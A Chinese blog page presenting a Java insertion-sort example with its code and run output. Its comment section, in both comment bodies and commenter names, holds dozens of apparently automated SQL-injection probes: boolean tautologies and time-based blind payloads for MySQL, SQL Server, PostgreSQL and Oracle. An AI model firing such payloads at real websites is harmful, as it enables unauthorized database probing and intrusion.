网站首页 文章专栏 Java插入排序
Java插入排序
编辑时间:2024-06-12 15:41:38 作者:史亚运 浏览量:0

插入排序

代码示例

import java.util.Arrays;
class Insertorder {
	public static void main(String[] args) {
		//插入排序
        int[] intArr = {1,3,2,6,5,4,8,9,7};
        System.out.println("排序前:" + Arrays.toString(intArr));
        int len = intArr.length;
        for (int i=1; i<len; i++) {
            int tmp = intArr[i];
            int j = i-1;
            while(j>=0 && tmp < intArr[j]) {
                intArr[j+1] = intArr[j];
                j --;
            }

            int end = j + 1;
            intArr[end] = tmp;
        }
        System.out.println("排序后:" + Arrays.toString(intArr));
	}
}

运行结果

排序前:[1, 3, 2, 6, 5, 4, 8, 9, 7]
排序后:[1, 2, 3, 4, 5, 6, 7, 8, 9]
进程已结束,退出代码0


来说两句吧
最新评论
  • lxbfYeaa 2026-04-12 06:44:46
    555
  • lxbfYeaa 2026-04-12 06:44:49
    555
  • lxbfYeaa 2026-04-12 06:44:55
    555
  • lxbfYeaa 2026-04-12 06:44:55
    -1 OR 5*5=25 --
  • lxbfYeaa 2026-04-12 06:44:56
    -1 OR 5*5=25
  • lxbfYeaa 2026-04-12 06:44:56
    -1' OR 5*5=25 --
  • lxbfYeaa 2026-04-12 06:44:56
    -1" OR 5*5=25 --
  • lxbfYeaa 2026-04-12 06:44:56
    -1' OR 5*5=25 or 'Ew1TfXXy'='
  • lxbfYeaa 2026-04-12 06:44:57
    -1" OR 5*5=25 or "5emfRMYV"="
  • lxbfYeaa 2026-04-12 06:45:02
    555*if(now()=sysdate(),sleep(15),0)
  • lxbfYeaa 2026-04-12 06:45:07
    5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
  • lxbfYeaa 2026-04-12 06:45:11
    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
  • lxbfYeaa 2026-04-12 06:45:16
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • lxbfYeaa 2026-04-12 06:45:21
  • lxbfYeaa 2026-04-12 06:45:27
  • lxbfYeaa 2026-04-12 06:45:33
    555-1 waitfor delay '0:0:15' --
  • lxbfYeaa 2026-04-12 06:45:38
  • lxbfYeaa 2026-04-12 06:45:44
    555-1 OR 758=(SELECT 758 FROM PG_SLEEP(15))--
  • lxbfYeaa 2026-04-12 06:46:10
    555-1) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
  • lxbfYeaa 2026-04-12 06:46:15
    555-1)) OR 414=(SELECT 414 FROM PG_SLEEP(15))--
  • lxbfYeaa 2026-04-12 06:46:21
    555xPz3O4a9' OR 264=(SELECT 264 FROM PG_SLEEP(15))--
  • lxbfYeaa 2026-04-12 06:46:27
    555U1hOloZV') OR 753=(SELECT 753 FROM PG_SLEEP(15))--
  • lxbfYeaa 2026-04-12 06:46:31
    555Mjn3tQg9')) OR 694=(SELECT 694 FROM PG_SLEEP(15))--
  • lxbfYeaa 2026-04-12 06:46:34
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • lxbfYeaa 2026-04-12 06:46:38
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • lxbfYeaa 2026-04-12 06:46:38
    555
  • lxbfYeaa 2026-04-12 06:46:38
    555'"
  • lxbfYeaa 2026-04-12 06:46:39
    @@7ztZR
  • lxbfYeaa 2026-04-12 06:46:39
    (select 198766*667891)
  • lxbfYeaa 2026-04-12 06:46:39
    (select 198766*667891 from DUAL)
  • lxbfYeaa 2026-04-12 06:46:41
    555
  • lxbfYeaa 2026-04-12 06:46:44
    555
  • lxbfYeaa 2026-04-12 06:47:07
    555
  • lxbfYeaa 2026-04-12 06:47:09
    555
  • lxbfYeaa 2026-04-12 06:47:10
    555
  • -1 OR 5*5=25 -- 2026-04-12 06:47:10
    555
  • -1 OR 5*5=25 2026-04-12 06:47:10
    555
  • -1' OR 5*5=25 -- 2026-04-12 06:47:11
    555
  • -1" OR 5*5=25 -- 2026-04-12 06:47:11
    555
  • -1' OR 5*5=25 or 'spa8JZCb'=' 2026-04-12 06:47:11
    555
  • -1" OR 5*5=25 or "Q6gCzbjv"=" 2026-04-12 06:47:11
    555
  • if(now()=sysdate(),sleep(15),0) 2026-04-12 06:47:12
    555
  • lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 2026-04-12 06:47:13
    555
  • lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 2026-04-12 06:47:14
    555
  • (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-04-12 06:47:15
    555
  • lxbfYeaa-1 waitfor delay '0:0:15' -- 2026-04-12 06:47:15
    555
  • 2026-04-12 06:47:15
    555
  • lxbfYeaaiPbterlR' OR 823=(SELECT 823 FROM PG_SLEEP(15))-- 2026-04-12 06:47:16
    555
  • lxbfYeaa73Xv7Vqb') OR 528=(SELECT 528 FROM PG_SLEEP(15))-- 2026-04-12 06:47:16
    555
  • lxbfYeaab9nSWcpT')) OR 348=(SELECT 348 FROM PG_SLEEP(15))-- 2026-04-12 06:47:16
    555
  • lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-04-12 06:47:17
    555
  • lxbfYeaa 2026-04-12 06:47:17
    555
  • lxbfYeaa'" 2026-04-12 06:47:17
    555
  • @@ncWr5 2026-04-12 06:47:18
    555
  • (select 198766*667891) 2026-04-12 06:47:18
    555
  • (select 198766*667891 from DUAL) 2026-04-12 06:47:18
    555
  • lxbfYeaa 2026-04-12 06:47:25
    555